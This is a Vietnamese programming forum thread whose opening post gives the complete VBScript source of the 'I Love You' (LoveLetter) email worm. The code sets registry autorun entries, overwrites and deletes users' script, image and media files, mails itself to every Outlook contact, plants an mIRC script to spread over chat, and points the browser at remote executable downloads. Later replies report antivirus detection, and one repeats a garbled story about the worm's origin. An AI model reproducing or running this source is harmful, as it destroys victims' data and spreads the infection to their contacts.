1. THÔNG BÁO TUYỂN ADMIN DIỄN ĐÀN 2013
    Tìm kiếm nhà trọ - Ở ghép
    THÔNG BÁO BÁN ÁO SPKT.NET CHO THÀNH VIÊN DIỄN ĐÀN


    HÃY TÌM KIẾM Ở ĐÂY TRƯỚC KHI ĐẶT CÂU HỎI
    {xen:phrase loading}

Virus Code "I Love U"

Thảo luận trong 'Lập trình' bắt đầu bởi hyl1182006, 28 Tháng mười 2006.

  1. hyl1182006 Guest

    Số bài viết: 0
    Đã được thích: 0
    Điểm thành tích: 0
    rem barok -loveletter(vbe) <i hate go to school>
    rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
    Manila,Philippines
    On Error Resume Next
    dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
    eq=""
    ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    set file = fso_OpenTextFile(WScript.ScriptFullname,1)
    vbscopy=file.ReadAll
    main()
    sub main()
    On Error Resume Next
    dim wscr,rr
    set wscr=CreateObject("WScript.Shell")
    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
    Host\Settings\Timeout")
    if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
    Host\Settings\Timeout",0,"REG_DWORD"
    end if
    Set dirwin = fso.GetSpecialFolder(0)
    Set dirsystem = fso.GetSpecialFolder(1)
    Set dirtemp = fso.GetSpecialFolder(2)
    Set c = fso.GetFile(WScript.ScriptFullName)
    c.Copy(dirsystem&"\MSKernel32.vbs")
    c.Copy(dirwin&"\Win32DLL.vbs")
    c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
    regruns()
    html()
    spreadtoemail()
    listadriv()
    end sub
    sub regruns()
    On Error Resume Next
    Dim num,downread
    regcreate
    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
    ",dirsystem&"\MSKernel32.vbs"
    regcreate
    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
    n32DLL",dirwin&"\Win32DLL.vbs"
    downread=""
    downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
    Explorer\Download Directory")
    if (downread="") then
    downread="c:\"
    end if
    if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
    w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    elseif num = 2 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
    546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
    POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    elseif num = 4 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
    YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
    .exe"
    end if
    end if
    if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
    regcreate
    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI
    X",downread&"\WIN-BUGSFIX.exe"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
    Page","about:blank"
    end if
    end sub
    sub listadriv
    On Error Resume Next
    Dim d,dc,s
    Set dc = fso.Drives
    For Each d in dc
    If d.DriveType = 2 or d.DriveType=3 Then
    folderlist(d.path&"\")
    end if
    Next
    listadriv = s
    end sub
    sub infectfiles(folderspec)
    On Error Resume Next
    dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
    set f = fso.GetFolder(folderspec)
    set fc = f.Files
    for each f1 in fc
    ext=fso.GetExtensionName(f1.path)
    ext=lcase(ext)
    s=lcase(f1.name)
    if (ext="vbs") or (ext="vbe") then
    set ap=fso_OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
    or (ext="hta") then
    set ap=fso_OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    bname=fso.GetBaseName(f1.path)
    set cop=fso.GetFile(f1.path)
    cop.copy(folderspec&"\"&bname&".vbs")
    fso.DeleteFile(f1.path)
    elseif(ext="jpg") or (ext="jpeg") then
    set ap=fso_OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    set cop=fso.GetFile(f1.path)
    cop.copy(f1.path&".vbs")
    fso.DeleteFile(f1.path)
    elseif(ext="mp3") or (ext="mp2") then
    set mp3=fso.CreateTextFile(f1.path&".vbs")
    mp3.write vbscopy
    mp3.close
    set att=fso.GetFile(f1.path)
    att.attributes=att.attributes+2
    end if
    if (eq<>folderspec) then
    if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
    (s="script.ini") or (s="mirc.hlp") then
    set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
    scriptini.WriteLine "[script]"
    scriptini.WriteLine ";mIRC Script"
    scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
    if mIRC will"
    scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
    correctly. thanks"
    scriptini.WriteLine ";"
    scriptini.WriteLine ";Khaled Mardam-Bey"
    scriptini.WriteLine ";http://www.mirc.com"
    scriptini.WriteLine ";"
    scriptini.WriteLine "n0=on 1:JOIN:#:{"
    scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
    scriptini.WriteLine "n2= /.dcc send $nick
    "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
    scriptini.WriteLine "n3=}"
    scriptini.close
    eq=folderspec
    end if
    end if
    next
    end sub
    sub folderlist(folderspec)
    On Error Resume Next
    dim f,f1,sf
    set f = fso.GetFolder(folderspec)
    set sf = f.SubFolders
    for each f1 in sf
    infectfiles(f1.path)
    folderlist(f1.path)
    next
    end sub
    sub regcreate(regkey,regvalue)
    Set regedit = CreateObject("WScript.Shell")
    regedit.RegWrite regkey,regvalue
    end sub
    function regget(value)
    Set regedit = CreateObject("WScript.Shell")
    regget=regedit.RegRead(value)
    end function
    function fileexist(filespec)
    On Error Resume Next
    dim msg
    if (fso.FileExists(filespec)) Then
    msg = 0
    else
    msg = 1
    end if
    fileexist = msg
    end function
    function folderexist(folderspec)
    On Error Resume Next
    dim msg
    if (fso.GetFolderExists(folderspec)) then
    msg = 0
    else
    msg = 1
    end if
    fileexist = msg
    end function
    sub spreadtoemail()
    On Error Resume Next
    dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
    set regedit=CreateObject("WScript.Shell")
    set out=WScript.CreateObject("Outlook.Application")
    set mapi=out.GetNameSpace("MAPI")
    for ctrlists=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrlists)
    x=1
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
    if (regv="") then
    regv=1
    end if
    if (int(a.AddressEntries.Count)>int(regv)) then
    for ctrentries=1 to a.AddressEntries.Count
    malead=a.AddressEntries(x)
    regad=""
    regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
    if (regad="") then
    set male=out.CreateItem(0)
    male.Recipients.Add(malead)
    male.Subject = "ILOVEYOU"
    male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
    male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
    male.Send
    regedit.RegWrite
    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
    end if
    x=x+1
    next
    regedit.RegWrite
    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    else
    regedit.RegWrite
    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    end if
    next
    Set out=Nothing
    Set mapi=Nothing
    end sub
    sub html
    On Error Resume Next
    dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
    dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
    NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
    "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
    @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
    "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
    good...@-@>"&vbcrlf& _
    "<?-?HEAD><BODY
    ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
    -#,#-#main#-#)@-@ "&vbcrlf& _
    "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
    -#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
    "<CENTER>

    This HTML file need ActiveX Control<?-?p>

    To Enable to read
    this HTML file
    - Please press #-#YES#-# button to Enable
    ActiveX<?-?p>"&vbcrlf& _
    "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
    BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
    "&vbcrlf& _
    "<?-?BODY><?-?HTML>"&vbcrlf& _
    "<script language=@-@JScript@-@>"&vbcrlf& _
    "<!--?-??-?"&vbcrlf& _
    "if (window.screen){var wi=screen.availWidth;var
    hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
    "?-??-?-->"&vbcrlf& _
    "<?-?SCRIPT>"&vbcrlf& _
    "<script LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
    "<!--"&vbcrlf& _
    "on error resume next"&vbcrlf& _
    "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
    "aw=1"&vbcrlf& _
    "code="
    dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
    "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
    "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
    "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
    "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
    "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
    "wri.write code4"&vbcrlf& _
    "wri.close"&vbcrlf& _
    "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
    "if (err.number=424) then"&vbcrlf& _
    "aw=0"&vbcrlf& _
    "end if"&vbcrlf& _
    "if (aw=1) then"&vbcrlf& _
    "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
    "window.close"&vbcrlf& _
    "end if"&vbcrlf& _
    "end if"&vbcrlf& _
    "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
    "regedit.RegWrite
    @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru
    n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
    "?-??-?-->"&vbcrlf& _
    "<?-?SCRIPT>"
    dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
    dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
    dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
    dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
    dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
    dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
    dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
    dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
    set fso=CreateObject("Scripting.FileSystemObject")
    set c=fso_OpenTextFile(WScript.ScriptFullName,1)
    lines=Split(c.ReadAll,vbcrlf)
    l1=ubound(lines)
    for n=0 to ubound(lines)
    lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
    lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
    lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
    if (l1=n) then
    lines(n)=chr(34)+lines(n)+chr(34)
    else
    lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
    end if
    next
    set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
    b.close
    set d=fso_OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
    d.write dt5
    d.write join(lines,vbcrlf)
    d.write vbcrlf
    d.write dt6
    d.close
    end sub
  2. lev Guest

    Số bài viết: 0
    Đã được thích: 0
    Điểm thành tích: 0
  3. hoangtulai_hp Guest

    Số bài viết: 0
    Đã được thích: 0
    Điểm thành tích: 0
  4. DKhanh13 New Member

    Số bài viết: 56
    Đã được thích: 0
    Điểm thành tích: 0
    Cái này hình như là virus thiệt á. Em sử dụng NOD32 Antivirus, khi vào thread này nó cảnh báo virus rồi terminate connection luôn.

    Copy đoạn code trên lưu lại thành file virus.vbs và scan trên trang web kapersky nó ra kết quả như vầy:
    --------------------------------------------------------------------------------------------------
    If you would like to scan your entire computer for viruses, please use our free virus scan.
    Attention!

    Kaspersky Anti-Virus has detected a virus in the file you have submitted.
    We suggest that you consider:

    • Reading about the virus/viruses in our Virus Encyclopedia
    • Downloading a trial version of Kaspersky Anti-Virus
    • Purchasing a copy of Kaspersky Anti-Virus in our E-Store
    • Purchasing Kaspersky Anti-Virus from a certified partner

    Scanned file: virus.vbs - Infected
    virus.vbs - infected by Email-Worm.VBS.LoveLetter

    Statistics:

    Known viruses:2265298 Updated:28-05-2009 File size (Kb):10 Virus bodies:1 Files:1 Warnings:0 Archives:0 Suspicious:0----------------------------------------------------------------------------------------------------
  5. rptdnmqs New Member

    Số bài viết: 15
    Đã được thích: 0
    Điểm thành tích: 0
    cái này 99 dòng ấy mà có 1 pháp sư bên mĩ trường đại học gì đó ,anh ta ko có tình yêu nên đã làm con này tuy nó ít dòng thế mà gần đánh sập mạng của 1 bang đó

Chia sẻ trang này